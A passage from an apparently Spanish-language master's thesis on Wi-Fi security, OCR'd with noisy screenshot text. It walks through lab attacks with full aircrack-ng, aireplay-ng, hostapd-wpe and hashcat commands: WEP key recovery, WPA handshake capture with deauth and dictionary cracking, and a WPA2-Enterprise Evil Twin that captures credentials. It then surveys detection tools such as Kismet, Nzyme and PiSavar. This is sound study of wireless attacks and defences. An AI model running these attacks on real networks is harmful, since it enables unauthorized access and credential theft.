nuestro punto de acceso) para realizar una prueba de inyeccion. Para levantar la interfaz en
modo monitor:

sudo iw wlanl interface add mon0 type monitor
sudo ifconfig mon0 up
sudo iw dev monO set channel 11

Y lanzaremos una prueba de inyeccién para comprobar la capacidad de la interfaz. Para ello
utilizaremos el comando aireplay-ng de la suite aireplay-crack:

sudo aireplay-ng ——test mon®
) t probe requests ...
Injection is working!
Found 12 APs

probe reguests ...

11 - : 2D_EXT'
Power:

11 - 'APTEST'

1ms/47.639ms/89.179ms Power:

nel: 11 - 'MiFibra 7
1ms/59.672ms/119.4 Power: -64.00

L: 11 - 'MiFib 297E'
97ms/60.879ms/10 l4ms Power: -63

llustracién 41 Test interfaz modo monitor

Como podemos observar, el resultado es satisfactorio, y podemos confirmar que la tarjeta
funciona perfectamente para realizar tanto escaneo de la red como para la inyeccion de
paquetes.
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Con esto ya tenemos configurado el laboratorio y podremos empezar a configurar los diferentes
escenarios y llevar a cabo algunos ataques.

8.2.- Ataques WEP

En este apartado, vamos a ver como aprovechar algunas de las vulnerabilidades vistas sobre
WEP para poder realizar diferentes tipos de ataque y obtener la clave de red o desencriptar la
informacion.

Para ello, configuraremos nuestro punto de acceso con seguridad WEP con la clave:
“‘weppass202010” (13 caracteres para 128 bits). Convertiremos la clave ascii en hexadecimal y
la afladiremos a la configuracién del punto de acceso:

root@OpenWrt:/etc/config# echo -n 'weppass202010' | hexdump -e '13/1 "%02x" "\n"'
77657070617373323032303130

root@OpenWrt:/etc/config# uci set wireless.@wifi-iface[0].encryption=wep
root@OpenWrt:/etc/config# uci set wireless.@wifi-iface[0].keyl="77657070617373323032303130"
root@OpenWrt:/etc/config# uci set wireless.@wifi-iface[0].key=1

root@OpenWrt:/etc/config# uci commit wireless

root@OpenWrt:/etc/config# wifi

Y conectaremos un cliente a dicha red:

Associated Stations

Network MAC-Address Host Signal / RX Rate / TX Rate
Noise
-
IMaster 00:26:5E:8E:01:6F  fdo9:177-dcfe:0:506e:9377:9ec1:e5d2 o 48.0 Mbitis, 20 MHz Disconnect

"APTEST" -40 dBm 1.0 Mbit/s, 20 MHz
(wlan0)

llustracion 42 Cliente conectado a la red WEP

Pasemos a analizar la red con airodump-ng y volcando la informacion en un fichero cap:

sudo airodump-ng -w prueball monO

19:00:16 Created capture file "pruebal0l-03.cap".

CH 14 ][ Elapsed: 6 s ][ 2020-10-24 19:00

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
78:94:B4:C9:94:69 -1 0 0 0 7 -1 <length: 0>
72:AD:B1:22:40:C6 -29 6 0 0 11 130 WPA2 CCMP PSK <length: 10>
72:AD:B1:22:40:C7 =31 7 2 0 11 130 WPA2 CCMP PSK wifirbg
74:DA:38:6A:FC:EF -37 9 1 0 11 54 . WEP WEP APTEST
6A:81:02:76:C8:02 -57 5 0 0 11 130 WPA2 CCMP PSK <length: 10>
78:81:02:76:C8:01 -58 8 9 0 11 130 WPA2 CCMP PSK wifirbg
EC:F4:51:A2:29:80 -64 10 1 0 11 130 WPA2 CCMP PSK MiFibra-297E
70:4F:57:E9:0F:89 -65 6 0 0 11 130 WPA2 CCMP PSK MiFibra-297E
52:F4:51:9D:6A:FF -66 3 0 0 1 130 WPA2 CCMP PSK Invitado-6AFC
EC:F4:51:9D:6A:FE -68 8 0 0 1 130 WPA2 CCMP PSK MiFibra-6AFC

46



Podemos observar como el ESSID APTEST tiene encriptacién WEP, en el canal 11 y con el
BSSID: 74:DA:38:6A:FC:EF. Veamos ahora los clientes autenticados en dicha red:

sudo airodump-ng --bssid 74:DA:38:6A:FC:EF --channel 11 -w APTEST monOQ

19:07:40 Created capture file "APTEST-02.cap".

CH 11 ][ Elapsed: 12 s ][ 2020-10-24 19:07 ][ fixed channel mon0O: -1

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
74:DA:38:6A:FC:EF -35 63 121 9 1 11 54 . WEP WEP APTEST

BSSID STATION PWR Rate Lost Frames Notes Probes
74:DA:38:6A:FC:EF 00:26:5E:8E:01:6F -40 1 -54 0 3

Tenemos por tanto la MAC del cliente autenticado: 00:26:5E:8E:01:6F.

Con esta informacion, podemos comenzar con el primer tipo de ataque. El ataque que se llevara
a cabo es el famoso ataque PTW (aprovechando anomalias de las propiedades estadisticas de
la programacion de claves RC4). Para ello, tendremos que recolectar la méxima cantidad de IV
gue podamos, por lo que lanzaremos airdump-ng para recoger informacion de la red, indicando
el BSSID de la misma, asi como el canal:

sudo airodump-ng --channel 11 --bssid 74:DA:38:6A:FC:EF --write salida monO

Guardaremos la informacion de los paquetes capturados en un fichero llamado salida (generara
diferentes tipos de ficheros, pero nos interesara principalmente el fichero salida.cap).

Ahora realizaremos una falsa autenticacién con el AP, lanzando un proceso de autenticacion
falso (--fakeauth 0) contra el AP (-e APTEST -a 74:DA:38:6A:FC:EF) y con la MAC del cliente
autenticado (-h 00:26:5E:8E:01:6F), usando para ello el comando aireplay-ng:

sudo aireplay-ng --fakeauth 0 -e APTEST -a 74:DA:38:6A:FC:EF -h 00:26:5E:8E:01:6F mon0

Internamente hara una suplantacion del cliente cambiando la MAC de la interfaz de red por la
gue le indiguemos, que sera la de la estacién que esta actualmente conectada a la red.

Desde otra consola forzaremos la recoleccion de peticiones ARP (--arpreplay) y la reinyeccion
en la red, de modo que el AP generara rapidamente nuevos IV (justamente lo que necesitamos):

sudo aireplay-ng --arpreplay -b 74:DA:38:6A:FC:EF -h 00:26:5E:8E:01:6F mon0

Una vez tengamos suficientes paquetes (unos 60.000 aproximadamente en #Data), utilizaremos
aircrack-ng para obtener la clave WEP, pasandole como parametro el fichero salida.cap que
hemos estado recopilando:
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sudo aircrack-ng -b 74:DA:38:6A:FC:EF salida*.cap

Y como resultado, obtenemos la clave de red:

aptured ivs.

Aircrack-ng 1.6

@0] Tested 46202 keys (got 60762 IVs)

llustracién 43 Obtencién de la clave WEP

Tanto en hexadecimal como en ascii:

KEY FOUND! [ 77:65:70:70:61:73:73:32:30:32:30:31:30 ] (ASCII: weppassz202010 )

Ahora realizaremos otro tipo de ataque, denominado “chopchop”, el cual se aprovecha de la
vulnerabilidad ya tratada como prediccién CRC32. Como ya vimos al analizar esta vulnerabilidad,
se podria descifrar el contenido cifrado sin llegar a tener la clave. Para ello volveremos hacer uso
de aireplay-ng, el cual posee un tipo de analisis para el ataque “chopchop”, en el cual tratara de
capturar un paquete valido y procedera a desencriptar la informacién. Para conseguirlo, se
localiza el dltimo byte del paquete (en la zona de datos y excluyendo el ICV), y comenzara a
modificar este Ultimo byte e inyectar paquetes con menor tamafio. Se llevaran a cabo pruebas
hasta que el AP acepte el paquete, lo cual indicara que el paquete enviado es correcto y que se
ha conseguido descifrar una pequefia parte del paquete. Este proceso se repite iterativamente
con el resto de bytes, hasta que se consigue descifrar el paquete al completo. Todo este proceso
se realizara de manera automatica con la opcion --chopchop de aireplay-ng, donde le pasaremos
el ESSID y la MAC de un cliente autenticado (ya lo tenemos de la prueba anterior):

sudo aireplay-ng —--chopchop -e APTEST -h 00:26:5E:8E:01:6F mon0 --ignore-negative-one

El parametro --ignore-negative-one se afiade cuando el comando aireplay-ng no consigue
determinar correctamente el canal que tiene establecida la interfaz mon0O.
Tras lanzar este comando, obtenemos la siguiente informacion:
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rafa@pc-rbg: ~/Documentos/UOC/TFM/WEP_2 170x30

llustracion 45 Paquetes capturados

Una vez obtenido el resultado en formato .cap, podremos abrirlo con wireshark y ver su
contenido:

replay_dec-1025-094153.cap — o x

Archivo Edicién Visualizacién Ir Captura Analizar Estadisticas Telefonfa Wireless Hemramientas Ayuda

I @mRE QesEF I ] aAa’QQE

No. Time Source Destination Protocal Lengtt Info
. 116 Echo (ping) reply

Frame 1: 116 bytes on wire (928 bits), 116 bytes captured (928 bits)
IEEE 802.11 Data, Flags: ......F.

Logical-Link Control

Internet Protocol Version 4, Src: 192.168.0.1, Dst: 192.168.6.193
Internet Control Message Protocol

08 @2 60 B0 GO 26 5e Be 01 6f 74 da 38 Ga fc ef &t ot 8]
78 B1 02 76 c8 00 0P 34 aa aa 03 G0 00 @0 B8 B0  x- v -4

45 @0 8@ 54 90 57 0@ 00 40 01 68 3f cO aB 80 81 E--T'W- - @ h?

cO aB B0 cl 60 00 3c 3f 0Od 83 01 37 46 39 95 57 <? TF9
ed Ga Ba B0 08 09 Pa Ob Oc @d Oe OF 10 11 12 13 j

14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 3
24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33  E%&'()*+ ,-./0123

llustracion 46 Apertura del fichero cap con Wireshark
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Que como podemos ver se trata de una peticion de ping que se estaba realizando desde el cliente
y podemos ver la respuesta de la peticion ping (Echo ping reply).

Existen mas tipos de ataques que aprovechan de forma aislada o en conjunto las
vulnerabilidades del sistema WEP, como son:

- Atague Caffe Latte: es un ataque tipo Client-Site, donde no se requiere que el cliente esté
conectado a la red Wi-Fi. Aprovecha la conexién automética que realizan ciertos clientes
sobre los AP conocidos. Se crea entonces un AP falso suplantando al original. El cliente
intentara asociarse a este AP falso y enviara peticiones tipo “Gratuitous ARP” informando
de la direccidn ip que tratard de tomar. Como este tipo de paquetes va cifrado, se tratara
de recolectar el maximo numero de ellos para luego explotar la vulnerabilidad de
probabilidades derivadas de RCA4.

- Atague Hirte: aprovecha la vulnerabilidad ya vista de fragmentacion y la reinyeccién de
paquetes ARP modificados con el envio de ARP request y ARP response de manera
continuada.

- Atague de fuerza bruta: se intenta descifrar la clave cuando no se tienen suficientes
paquetes capturados, haciendo uso de diccionarios.

8.3.- Ataques WPA

Para llevar a cabo esta prueba, primero configuraremos el escenario en nuestro punto de acceso
OpenWrt con encriptacion WPA-PSK:

root@OpenWrt:/etc/config# uci set wireless.@wifi-iface[0].encryption=psk
root@OpenWrt:/etc/config# uci set wireless.@wifi-iface[0].key="mynewpassword"
root@OpenWrt:/etc/config# uci commit wireless

root@OpenWrt:/etc/config# wifi

El ataque que vamos a analizar para WPA sera el ataque por fuerza bruta. Necesitaremos
capturar el 4-way-handshake entre el STA y el AP, concretamente los mensajes ANonce y
SNonce cuando se inicia la instalacion de claves PTK. Una vez tengamos capturada esta
informacion, se llevara a cabo un ataque de fuerza bruta tratando de reproducir la generacion de
PTK. Esto se hace utilizando el algoritmo PBKDF2 al cual se le suministraran palabras de un
diccionario. Si el MIC generado coincide con el MIC capturado del 4-way-handshake, entonces
habremos obtenido la clave.

Vamos por tanto a capturar paquetes con airodump-ng:

sudo airodump-ng --channel 11 --bssid 74:DA:38:6A:FC:EF --write salida monO

Para asegurarnos que se produce un intercambio 4-way-handshake, podemos realizar un ataque
de desautenticacion entre el AP y STA:

sudo aireplay-ng --deauth 0 -a 74:DA:38:6A:FC:EF -c 00:26:5E:8E:01:6F mon0

Y en la captura que estamos haciendo podremos ver cémo se generan tramas de tipo EAPOL:
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BSSID STATION PWR Rate Lost rames MNotes Probes

74:DA:38:6A:FC:EF 00:26:5E:BE:01:6F -41  36e-54e

llustracion 47 Generacién de tramas EAPOL para Handshake

Por lo que podemos dejar de capturar paquetes y proceder a realizar el atague de fuerza bruta,
para ello utilizaremos aircrack-ng pasando como parametros el fichero cap obtenido y el
diccionario a utilizar (en este caso el rockyou que viene con la distribucion Kali):

sudo aircrack-ng salida*.cap -w /usr/share/wordlists/rockyou.txt

Y tras unos segundos, podremos ver como hemos podido obtener la clave:

Time left: 24 minutes,

Current pass

EAPOL HMAC : 4 1 DE 1A 5B
llustracion 48 Obtencion de la clave WPA por fuerza bruta

8.4.- Ataques WPA2

En el apartado “Estudio de cifrados de seguridad”, analizamos como el protocolo WPA2 también
era vulnerable a un ataque denominado Krack. Este ataque, siempre que los sistemas estén
debidamente parcheados, no seria factible realizarlo. Por tanto, en este apartado vamos a
analizar un ataque que seria genérico a cualquier otro protocolo: Evil Twin. En este caso, para
hacerlo aiin més real en el mundo empresarial, se realizara una configuracion en el AP para que
utilice WPA2 con 802.1X, de modo que a través de una configuracion RADIUS, solicite usuario y
contrasefia para poder autenticarse en la red.

Para llevar a cabo esta configuracion, se han seguido los pasos indicados en la documentacion
oficial de OpenWrt (https://openwrt.org/docs/guide-user/network/wifi/freeradius). A nivel de
configuracion para el AP, sera necesario establecer los siguientes parametros:

uci set wireless.@wifi-iface[0].encryption=wpa2+ccmp
uci set wireless.@wifi-iface[0].auth server='127.0.0.1’
uci set wireless.@wifi-iface[0].auth secret='testingl23’
uci commit wireless

wifi

H= = H HH

Donde establecemos que el servidor de autenticacion esté en el propio APy la clave para realizar
la conexién con RADIUS. Adicionalmente se ha creado un usuario RADIUS para la conexion
desde los clientes, afiadiendo en el fichero: /etc/freeradius3/mods-config/files/authorize:
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rafa Cleartext-Password := "passwordl23"

Realizaremos una conexién con un cliente:

OpenWrt  Status -

Wireless Overview

Generic 802.11bgn
Channel: 11 (2.462 GHz) | Bitrate: 54 Mbit/s

SSID: APTEST | Mode: Master
- Disabl Edit Remove
all -39 dBm BSSID: 74:DA:38:6A:FC:EF | Encryption: WPA2 BO2. 1X (CCMP) sable ‘ m |

& radiod Restart

Associated Stations

Network MAC-Address Host Signal / RX Rate / TX Rate
Noise

]

o 1.0 Mbit/s, 20 MHz
Maﬁi | AH,ETEST 00:26:5E-8E:01:6F  feB0::194:5a75:11e9:fd14 aadbm | 54.0 Mbits, 20 MHz
vial

e

Powered by LuCl openwrt-19.07 branch (git-20.247.75781-0d0ab01) / OpenWrt 19.07.4 r11208-ce6496d796
llustracion 49 Conexion a la red con RADIUS

Ahora el ataque consiste en levantar un AP falso (Evil Twin) que emule al real, por lo que tendra
qgue tener el mismo SSID que el auténtico. Al levantarlo, el cliente se conectara al AP falso,
introducira las credenciales y éstas seran capturadas para posteriormente descifrar el hash de la
clave con el procedimiento de fuerza bruta (uso de diccionario). Aqui nos aprovecharemos de la
debilidad del cifrado utilizado para almacenar la contrasefia (NTLM). Cuando el usuario se
autentica, debe responder a un desafio, exponiendo de dicho modo el hash de la clave, y
permitiendo su captura para posteriormente descifrarlo.

Para levantar el AP falso haremos uso de hostapd-wpe, y configuraremos el fichero /etc/hostapd-
wpe/hostapd-wpe.conf con nuestra interfaz, el SSID a suplantar y el canal:

interface=wlanlmon
ssid=APTEST
channel=11

Arrancamos el AP falso y esperamos el momento en el que el cliente se autentique:

sudo hostpad-wpe /etc/hostpad-wpe/hostpad-wpe.conf
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mschapv

NETNTLM: } i b585811
t

wlanlmon 6f 5 received from STA:
wlanlmon: C L—EVENT—EAP FAILUEE ! 2

1y
rent EAP

anlmon:
anlmon
anlmon
anlmon L1X
1imon z - ent from
ilanlmon: S H: $10: L1X: enti received from
1imon z - Identit from
anlmon: ! G - Identit from
1lmon: 116 ki entity ed from

llustracion 50 Captura de las credenciales de un usuario por RADIUS

Con el hash NETNTLM de la clave, pasaremos a crackearlo con la ayuda de la herramienta
hashcat y de un diccionario:

hashcat -m 5500 --force -a 0
rafa::::41a8845c0c70£2705£1099e653a323243761b9%022b505011:052de3be27deb72e
/usr/share/wordlists/rockyou.txt

Y al cabo de unos instantes, obtenemos la clave del usuario:

found on your

Host memory

DlLtlonql\

Loops:1 Thr:1 Vec:16

t8-1

llustraciéon 51 Obtencién de la clave con hastcat
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8.5.- Ataques WPA3

Mas alla de la descripcion tedrica de las actuales vulnerabilidades sobre WPA3, debido a la falta
de hardware/software compatible con dicho protocolo, no se ha podido realizar ninguna prueba
en el laboratorio sobre este sistema.
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9.- Herramientas actuales

En este punto se ha realizado una prospeccién tecnoldgica para conocer qué herramientas
existen en el mercado que ayuden de alguna manera a mejorar la seguridad de las redes Wi-Fi,
bien mitigando los efectos de los ataques o alertando ante posibles tipos de ataques a redes Wi-
Fi.

9.1.- Deteccion de WiFi Pineapples

Podemos encontrar en el mercado diversos sistemas construidos con la finalidad de auditar las
redes WiFi (hacking ético), pero que a su vez también permiten realizar y poner en practica gran
cantidad de ataques (como ya hemos podido analizar en puntos anteriores). Uno de estos
proyectos es “Wifi Pinneaple”, de la empresa Hack5.org. La empresa tiene a la venta dos
productos:

e Mark VII: Es la version econémica (99%$) con un hardware mas liviano.

llustracion 52 Pineapple Mark VII

e Enterprise: Una versibn mas potente y con mas capacidades de expansion, a un coste
mas elevado.

llustracion 53 Pineapple Enterprise

Con estos dispositivos se pueden realizar ataques tipo Man-in-the-middle, capturar handshakes
WPA, crear Fake AP, desencriptar trafico SSL, etc. Todo ello con una interfaz web muy comoda
para el usuario. Estdn pensados para realizar auditorias en redes WiFi y realizar pruebas de
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pentesting, pero su uso puede ser muy variado en funcion de la intencion del usuario. Por lo
tanto, son dispositivos que podriamos encontrar en amplias zonas tales como aeropuertos,
centros comerciales, etc, con el peligro que ello conlleva si los clientes se conectasen a este tipo
de dispositivos y estuvieran controlados por cibercriminales (robo de informacion sensible,
usurpacion de identidad, ataques con sistemas malware, etc).

Ademds de esta herramienta comercial, existe una alternativa Open Source que podria montarse
incluso en una Raspberry Pi: FruityWifi (http://fruitywifi.com/index_esp.html), lo cual hace que su
implantacién sea mas econémica.

Estos sistemas son capaces de generar falsos puntos de acceso para engafar a los usuarios y
una vez conectados, poder aplicar diversos tipos de ataques. La forma en la que trabaja este
sistema para generar los fake AP seria la siguiente:

WiFi Pineapple - Pineap Module

1) Collects SSID informations from air Available Networks
2 Creats SSID Pool & om
a
H e
fj Starbucks
Connect to §@ .s s,
= iSpotter
FS xBANK
HACKER SSID Pool g e
3 ) Opens fake access points

llustracion 54 Creacion de Fake AP con Pineapple

Basicamente recolecta la informacion de los puntos de acceso a los que es capaz de llegar,
generando puntos de acceso falsos para suplantarlos y engafiar a los clientes.

Para poder protegernos ante este tipo de ataques surge la iniciativa Open Source realizada en
Python y haciendo uso de Scapy: PiSavar (https://github.com/WiPi-Hunter/PiSavar), el cual tiene
dos modos de ejecucion:

¢ Modo deteccion de AP generadas por PineApple. Basicamente analiza la red en busca
de puntos de accesos que provengan de las misma MAC.

¢ Modo desautenticacion. Genera paquetes tipo deauth contra la MAC detectada como
generadora de fake AP, de manera que evita que los clientes puedan conectarse a dichas
redes falsas.

Para realizar una prueba, se ha puesto en préctica el concepto explicado generando diferentes
puntos de acceso desde la misma MAC. Esto lo podemos hacer lanzando varios puntos de
acceso con la herramienta airbase-ng (ROGUE y ROGUEZ2, ambos con la misma MAC):
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ssid ROGUE -c 11 wlanlmon

rafa@pe-rbg: ~

Archivo Acciones Editar Vista

2 -c 11 wlanlmon

Y realizamos una conexion desde un cliente (como se puede observar en la imagen contra el AP
ROGUE?2). Ahora lanzamos la herramienta PiSavar en modo deteccion:

sudo python pisavar.py -i wlanlmon -pm 1

llustraciéon 56 Modo analisis Pisavar

Donde vemos que nos alerta de dos FakeAP con la misma MAC. Luego lanzamos la herramienta
en modo desautenticacion:

sudo python pisavar.py -i wlanlmon -pm 2
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[*] MAC Address :
[*] FakeAP count:

[*] MAC Address :
[*] FakeAP count:

[*] MAC Address :
[*] FakeAP count:

llustraciéon 57 Modo deautenticacion Pisavar

También podemos ver en el log que genera los ataques de deauth:

rafa@pc-rbg: fvarflog

Archivo Acciones Editar Vista Ayuda

' - Deauth Attack’)

- Deauth Attack')

, 2, ' - Deauth Attack')

llustracion 58 Logs Pisavar

Evitando de este modo que los clientes puedan conectarse a dicha red. Una interesante
propuesta para detectar y mitigar este tipo de ataques.

9.2.- Auditoria de Redes Wi-Fi con WAIDPS

WAIDPS (https://github.com/SYW orks/waidps) es un software open source construido en python
y que permite de manera visual realizar un sistema de auditoria muy completo de redes Wi-Fi.
Este proyecto nace en 2014 y no ha mantenido ninguna evolucién reciente, pero como punto de
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partida para analizar nuestra red, es un software muy interesante. Entre las funciones que ofrece
tenemos:
e Auditoria de redes Wi-Fi.

e Deteccion de posibles ataques a redes con protocolos WEP, WPA o de WPS.

e Lanzar ataques de desautenticacion a posibles atacantes.

¢ Diversos formatos de salida para mostrar la informacion que nos interese.

¢ Almacenamiento de la informacién detectada en ficheros para posterior analisis.

Mostramos a continuacién algunas pantallas interesantes tras su instalacion y puesta a prueba:

v Advertencia de posibles Evil-Twin (diferentes AP con mismo ESSID):

—_—
ASSOCIATION/CONNECTION ALERT [ 3 ] ==

llustracion 59 WAIDPS Evil Twin

En este caso no se trata de un ataque real, sino de extensores wifi que amplian la cobertura de
la red, por tanto, comparten el mismo SSID con diferentes MAC.

¢ Modo auditoria que permite realizar ciertas pruebas de ataque o monitorizar una red en
concreto:

Channel
Clie

terminated.

llustraciéon 60 WAIDPS modo auditoria
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< < << LIVE MONITORING OF ACCESS POINT 78:81:02:76:C8:01 >> > >

©4:CF:8C:87:AD:B3 / DB:CC:27:FAI60:F3 / 00:26:5E:8E:01:6F [3]

[Enter]

& Single Frame Client-

- Return ) : [

llustracion 61 WAIDPS Info auditoria

Es una herramienta muy potente que nos permite tener un control no sélo de nuestra red, sino
de cualquier red alcanzable por nuestra antena. Se podria considerar como un sistema NIDS
WiFi.

9.3.- Aplicaciones moviles para detectar intrusos en la red

Existe una gran cantidad de apps moviles que nos permiten de un simple vistazo ver los clientes
conectados a nuestra red, informando incluso del fabricante (dato obtenido por la MAC), editarlos
para un reconocimiento mas amigable, notificacién en caso de detectar una nueva MAC o IP en
la red, scanner de puertos, etc. Esto resulta de gran utilidad para tener controlado los dispositivos
gue tenemos conectados en el hogar, pero presenta algunos inconvenientes:

e Solo funciona si estamos en el radio de cobertura de la red WiFi. Si la aplicacion la
instalamos en nuestro movil y no estamos en la zona de cobertura de nuestra red, no
podremos obtener informacioén al respecto.

e Este tipo de datos lo suelen dar por defecto la mayoria de los router, por lo que si nos
conectamos a la interfaz web de nuestro punto de acceso, podremos disponer de esta
informacion.

e La mayoria de estas aplicaciones acaban insertando publicidad, ya que es su manera de
monetizar su aplicacion.

Algunas de estas aplicaciones analizadas para Android son:

v' ¢ Quién roba mi wifi?
v" WiIFi Thief Detector
v RedBox - Network Scanner

Por tanto, puede ser util a modo de consulta rapida para ver los clientes conectados a nuestra
red mientras estemos en su radio de cobertura, pero no aporta mas informacion o capacidad de
accion.
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9.4.- Uso de claves OTP

Una manera de asegurar la legitimidad de los clientes que se conectan a una red WiFi es con el
uso de claves temporales de un sélo uso o doble factor de autenticacion. Una implementacion
gue utiliza esta metodologia es la realizada con Fortinet y con la techologia de autenticacion
MobileConnect, la cual se puede encontrar en sitios tales como hoteles o medios de transporte.
De este modo, para conectarte a la red, debes estar previamente registrado con tu nimero de
teléfono, de modo que, al iniciar sesion en la red, se solicitara a través de un portal cautivo una
clave temporal, la cual recibirds en terminal mévil via SMS.

Esta es una medida bastante segura de cara a verificar los clientes que se conectan, pero no el
punto de acceso, el cual podria haber sido clonado. Otro inconveniente seria la conectividad con
dispositivos 10T, los cuales no podrian registrarse como un usuario. Por tanto, este tipo de
soluciones serian aplicables a lugares donde la conectividad solo fuese destinada a usuarios
finales con necesidad de navegacién, y que se pudiesen registrar con su niamero de teléfono
para recibir el codigo OTP.

9.5.- Kismet

Kismet es otro software open source que nos permite monitorizar la redes WiFi, actuando como
sniffer e IDS, ya que nos alerta de diferentes acciones detectadas en la red (deautenticaciones,
spoofing, cambios de canal, etc). Viene instalado por defecto en Kali Linux y levanta un servidor
web para ofrecer una interfaz mas amigable al usuario. Lo lanzamos de la siguiente manera:

sudo ifconfig wlanl down

sudo iwconfig wlanl mode monitor
sudo ifconfig wlanl up

sudo kismet -c wlanl

= Kismet & o O oD

Hame N oy Coppin Sanal Chamnel Deia Packets Clents BSSD QS Chan Usage QOS5 Users. Mt

llustracién 62 Kismet

Es muy configurable y permite mostrar gran cantidad de informacién, pudiendo especificar los
colores con los que nos alerta en diferentes casos. Por ejemplo, las redes marcadas en rojo son
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porqgue ha detectado un intercambio de handshake, dando la opcién de poder descargar los

paquetes en formato pcap:

DEVICE DETAILS

» Device Info

Packets

2061237478

‘Overall Packets Data Packets

N Management [N Cata N Cat: [ ety Frag [
6 0B [}
1 180.63 KB 1
Total Packets 17903 1 165.97 KB 3
LLC/Management 12516
Data packers s _
Ermor/invalid Packets. 0
Fragmented Packets. 0 L 26090 KB s
Retried Packets 1605 [T
5
Data (size) 223MB o 1z96KE ]
Retried Data 0B N 205,90 KB o
WPA Key Exchange '®
1 1387 KB 2

Handshake Packets
Handshake PCAP

Advertised SSIDs
SSID: MiFibra-6AFC

15
& Download Pcap File

SSID MiFibra-6AFC =
Encryption ‘WPA2 WPA2-PSK AES-CCM

MFP. Unavailanle

Channel 1

HT Mode HT20

Connected Stations 1

Channel Utilization

15.69%

First Seen Nov 08 2020 10:28:52

Last Seen Nov 08 2020 11:23:25

Beacon Rate 10/s8c

Max. Rate 144.4 mbit

802.11d Country ES

WPS Manufacturer Arcadyan

'WPS Model Arcadyan |

DEeviCE DETAILS

llustracion 63 Kismet Detalle Red

Asi como informacioén de los clientes conectados a dicha red:

» Device Info

- Wi

(80211)

» Related to 52:F4:51:9D:6A:FF (Invitado-6AFC)

Wi Client Behavior
» Client of 0A:07:A5:07:FF:00
Associated Clients

¥ Client 18:01:F1:7A:E1:BA

ClientInfo View Client Detals

Name 1801FLTAELBA

Type ‘Wi-Fi Client

Manufacturer Xiaomi Communications Ltd

First Connected Nov 08 2020 10:29:01 |

Last Connectad Nov 08 2020 10:50:00 6 08

Daa 08 |

Retried Data 90011 kB 1 18390 K8
1 16659 KB

¥ Client 2C:CC:d4:42:F9:A0

Client Info View Client Details
Name 2C.CC444ZFIAD
Type Wi-Fi Bridged N T
ny Interacti inment inc. L
First Connected Nov 08 2020 10:30:12 1 1332KE
Last Connected Nov 08 2020 11:2143 |8
Data 08 1 209.12K8
Retried Data 08 —
I 1 1070K8
v Client 42:08:9C:51:57:00 -
Client Info View Client Details
Name 4208:9C51:57:00
Type Wi-Fi Client I
Manufacturer Unknown ™
First Connected Nov 08 2020 10:36:18
Last Connected Nov 08 2020 11:22:05
Data 08
Retried Data 88.22KB
v Client 8C:45:00:0C:86:E1
Client nfo View Client Details
Name 8C45:00:0C:86:E1
Type Wi-Fi Client
Manufacturer Murata Manufacturing Ltd
First Connected Now 08 2020 10:37:46
Last Connected Now 08 2020 11:05:34 I

llustracion 64 Kismet Detalle Clientes

62



9.6.- Nzyme

Nzyme se trata de una propuesta Open Source para realizar un barrido de las redes WiFi que
estén al alcance, y lo mas interesante, volcar toda la informacion en un gestor de logs open
source (Graylog: https://www.graylog.org/products/open-source) que permita realizar un
exhaustivo andlisis con gran cantidad de detalles y conformar un cuadro de mandos para conocer
el estado de la red. Por tanto, actia como IDS, sistema de monitorizacién y respuesta a
incidentes (ya que permite almacenar gran cantidad de informacién). Gracias a la captura de
paquetes de gestion, es capaz de analizar paquetes de:

e Association request
e Association response
o Probe request

o Probe response

e Beacon

o Disassociation

e Authentication

e Deauthentication

No requiere de gran capacidad hardware, por lo que se podria montar en una Raspberry Pi con
una o varias antenas WiFi configuradas en modo monitor, y enviar toda la informacién a un
Graylog configurado en otra estacion para su andlisis. Una vez configurado y puesto en
funcionamiento, permitiria analizar diferentes escenarios de ataques:

¢ |nundaciones de paquetes Deauth. Consulta en Graylog por el patrén: subtype:deauth:

nzyme - Home Histogram SR
11,8 mermgesi ' Laetosd

our - 02 ms, searche

. ok, Dag, Hour, Mirute /
At count to ashars ~

ore scons =

Fields  Decorators

Default Al None

Messages B:: ¢ 0w

20170939 15:0956.779

llustracion 65 Graylog Deauth

e Deteccion de fake AP (con diferente MAC a la original). Mediante una configuracion
especifica donde se estableceran los BSSID originales de los AP conocidos, y con un
pipeline a medida en Graylog, se detectarian este tipo de ataques con facilidad.
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Frecuencia de paquetes Beacons. La frecuencia con la que los paquetes beacons son
enviados por parte de un punto de acceso en la red suele mantener una frecuencia fija.
Un Fake AP no estaria sincronizado con esta frecuencia y seria detectable:

@ Grsylog - Straam nzyma -

< C O | @ 10.243.265.10:9000/streams/5 840601 385(1d3001fa2a63a/searchZinterval=minutefwidth=14408re
i Apps E5Dacs 5 Ducky F5 zerotier

Fields  Decorators

Default Al None | Fil

Histogram
il

T el ATt T D s e it

Messages BW: s - 57 s 5 0

2017.09.30 203257785

2017.0830 203257712
2017-09.30 20:32:57.687 nzyme

2017.09.30 203257617

llustracion 66 Graylog frecuencia beacons

Anomalias en la fuerza de la sefial. Aunque el Fake AP falsease la MAC y tratase de
sincronizar los paquetes beacons, existe un factor que no podria controlar, como es la
fuerza de la sefial, y esta seria detectable en Graylog:

© Grayiog Web nterlace - St

< C (0 @ 10.243.255.10:0000,

i Apps EDocs £ Ducky B

Fields  Decarators

Defaul Al None

Messages B: : ¢ s ¢ 5 5 w0 m o

20170930 21:4127.239 ¥

2017.09.30 21:41.27.108

2017-09.30 21:4127.125

2017.00.30 114127088

llustracion 67 Graylog fuerza sefial

Estos son solo algunos ejemplos del potencial que esta herramienta ofrece. Este software si
mantiene un soporte mas actual, a diferencia de otras herramientas que hemos visto, incluso en

su péagina de github indica que sera actualizada en poco tiempo, por lo que podremos tener
nuevas mejoras pronto:
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421 lines (306 sloc) 23.7 KB Raw Bame 2 @

Nzyme

21! You are looking at a soon-to-be-replaced version of nzyme.
Version v1.0.0 is a complete WiFi IDS and will be released soon.
(see v1.0.0 branch) Follow me on Twitter to stay up to date.

llustracion 68 Nzyme Github

9.7- Personal WiFi IDS

Se trata de un IDS personal (https:/github.com/yadox666/PersonalWiFilDS) construido en
python que permite alertar en caso de sufrir un intento de ataque a través de peticiones deauth
(Dot11Deauth) o posibles Fake AP (Dotl1ProbeResp) . Se basa en tener una lista blanca con
las MAC consideradas como legitimas, y comparar los paquetes recibidos con la lista blanca.
Claro estd, dado que es posible por parte del atacante modificar su MAC, en este caso no seria
valido el sistema de alerta.

9.8- Soluciones Comerciales IDS e IPS

